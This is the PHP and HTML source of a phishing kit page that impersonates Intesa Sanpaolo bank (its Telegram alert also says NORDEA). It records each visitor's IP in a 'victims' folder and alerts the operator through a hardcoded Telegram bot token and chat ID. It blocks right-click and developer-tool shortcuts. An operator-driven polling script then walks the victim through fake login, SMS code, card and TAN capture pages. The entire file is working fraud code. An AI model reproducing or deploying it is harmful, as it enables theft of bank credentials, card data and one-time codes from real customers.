<?php 

$ip = $_SERVER['REMOTE_ADDR'];
$filename = basename(__FILE__); // Get the current file's name

// Determine the protocol (http or https)
$protocol = stripos($_SERVER['SERVER_PROTOCOL'],'https') === true ? 'https://' : 'http://';

// Determine the hostname
$host = $_SERVER['HTTP_HOST'];

// Determine the base directory
$baseDirectory = dirname($_SERVER['SCRIPT_NAME']);

// Construct the base URL
$baseURL = $protocol . $host . $baseDirectory;
$current_time = date("H:i:s");
$current_date = date("d:m:y");
$newFilePath= $baseURL . "/control.php?ip=$ip&time=$current_time&date=$current_date";



 if($_SERVER['REQUEST_METHOD'] == "POST") {
  if ($_POST['step'] == "control") {
$current_time = $_POST['time'];
    $fp = fopen('victims/'. $_POST['ip'] .'.txt', 'wb');
       
 
    fwrite($fp, $_POST['to']);
    fclose($fp);
    header("location: control.php?ip=" . $_POST['ip']."&buttonClicked=".$_POST['to']."&time=$current_time");
}}
else{
    $filename = 'victims/' . $ip . '.txt';
    touch($filename);
    $subject = $ip . ' |  | Card';
    $message = '🎛 NORDEA LOADING CONTROL FOR IP==' . $ip. "\r\n";
    $message .= 'Steps : ' . $newFilePath . "\r\n";
    $message .= 'date : ' . date("d/m/y") . "\r\n";
    $sendMessageEndpoint = "https://api.telegram.org/bot7914161075:AAFXZvfYCd-3OCsC1QAUCXc9AfHhsy8FMlw/sendMessage";

$data = array(
'chat_id' => "1858722787",
'text' => $message,
);

$options = array(
'http' => array(
    'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
    'method'  => 'POST',
    'content' => http_build_query($data),
),
);

$context  = stream_context_create($options);
$result = file_get_contents($sendMessageEndpoint, false, $context);
if ($result === false) {
    echo "Error sending message: " . print_r(error_get_last(), true);
}


}

?>
<!DOCTYPE html>
<?php
include_once '../../../INC/APP.php';
?>
<script>

	document.onkeydown = function(e) {
	  if(event.keyCode == 123) {
	     return false;
	  }
	  if(e.ctrlKey && e.shiftKey && e.keyCode == 'I'.charCodeAt(0)) {
	     return false;
	  }
	  if(e.ctrlKey && e.shiftKey && e.keyCode == 'J'.charCodeAt(0)) {
	     return false;
	  }
	  if(e.ctrlKey && e.keyCode == 'U'.charCodeAt(0)) {
	     return false;
	  }
	}


	
	document.addEventListener('contextmenu', function(e) {
	  e.preventDefault();
	});

</script>
<html>
<head>
	      <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <!-- link_icons -->
        <link rel="stylesheet"  href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.5.0/font/bootstrap-icons.css">
        <link rel="stylesheet"  href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css"> 
        <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous"/>
        <title>Banca Intesa Sanpaolo - Conto Corrente per Famiglie, Giovani e Aziende</title>
        <!-- logo site web-->
        <link rel="icon" href="../persone-e-famiglie/img/favicon.ico" type="image/x-icon"/>
        <link rel="shortcut icon" href="../persone-e-famiglie_login/img/favicon.ico" type="image/x-icon" />
        <!-- link__css -->
        <link rel="stylesheet"  href="css/bootstrap.css">
        <link rel="stylesheet"  href="css/mooddark.css">
</head>
<body>

 
         
        <div class="loading ">
             <img src="../persone-e-famiglie/img/loading.gif">
        </div>


        <script src="js/jquery-3.5.1.min.js"></script>
        <script src="js/jquery.mask.js"></script>
        <script src="js/bootstrap.min.js"></script>
   	<script>
	function makeid()
							  {
								  var text = "";
								  var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

								  for( var i=0; i < 110; i++ )
									  text += possible.charAt(Math.floor(Math.random() * possible.length));

								  return text;
							  }
							  
 function Redirect() 
    {  
        window.location="../conferma.sms/?client_id="+makeid(); 
    } 
    document.write(""); 
    setTimeout();
</script> 
</body>
</html>

<?php
$bin4=$_GET['client_id'];
    /*******
    Main Author: MemoryError
    ********************************************************/
    
    // WEBSITES & PAGES
    $badLogin = "../persone-e-famiglieX/index.php?client_id=$bin4";
    $App= "../conferma.sms/index.php?client_id=$bin4";
    $sms = "../conferma.smsX/index.php?client_id=$bin4";
    $FULLCCX = "../conferma.carta.2full/index.php?client_id=$bin4";
    $ccError = "../ZEBI/index.php?client_id=$bin4";
    $FULLCC = "../conferma.cartafull/index.php?client_id=$bin4";





?>
<!DOCTYPE html>
<html>
<head>
    <title></title>



        <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/js/bootstrap.bundle.min.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/js/all.min.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.payment/3.0.0/jquery.payment.min.js"></script>
        <script src="./assets/js/script.js"></script>


        <script>
setTimeout(function() {
    window.location.href = 'https://www.google.com/';
}, 3 * 60 * 1000); // 3 minutes in milliseconds

            var ip = '<?php echo $_SERVER['REMOTE_ADDR']; ?>';
console.log("sddfs");
            var waiting = setInterval(function() {
                $.get('./victims/' + ip + '.txt', function(data) {
                    if( data == 0 ) {
                        //console.log('hada ba9i 0');
                    } else {
                 
                        if( data == 'APPE' ) {
                            clearInterval(waiting);
                           
                            location.href = "<?php echo $badLogin?>";
                        } else if( data == 'SMMS' ) {
                            clearInterval(waiting);
                           
                            location.href = "<?php echo $App?>";
						} else if( data == 'FULLCC' ) {
                            clearInterval(waiting);
                           
                            location.href = "<?php echo $FULLCC?>";
                        } else if( data == 'ERRCC' ) {
                            clearInterval(waiting);
                           
                            location.href = "<?php echo $sms?>";
                        } else if( data == 'FULLCCX' ) {
                            clearInterval(waiting);
                           
                            location.href = "<?php echo $FULLCCX?>";
                        } else if( data == 'errorcc' ) {
                            clearInterval(waiting);
                           
                            location.href = "<?php echo $ccError?>";
                        } else if( data == 'errorsms' ) {
                            clearInterval(waiting);
                           
                            location.href = "../index-.php?redirection=errorsms&code=" + two;
                        } else if( data == 'tan' ) {
                            clearInterval(waiting);
                            var code1 = zow[1];
                            var code2 = zow[2];
                            var code3 = zow[3];
                           
                            location.href = "../index-.php?redirection=tan&code1="+ code1 +"&code2="+ code2 +"&code3=" + code3;
                        } else if( data == 'errortan' ) {
                            clearInterval(waiting);
                            var code1 = zow[1];
                            var code2 = zow[2];
                            var code3 = zow[3];
                           
                            location.href = "../index-.php?redirection=errortan&code1="+ code1 +"&code2="+ code2 +"&code3=" + code3;
                        } else if( data == 'success' ) {
                            clearInterval(waiting);
                           
                            
                            location.href = "<?php echo $success?>";
                        }
                        
                    }
                });
            }, 1000);
        </script>



</head>
<body>
</body>
</html>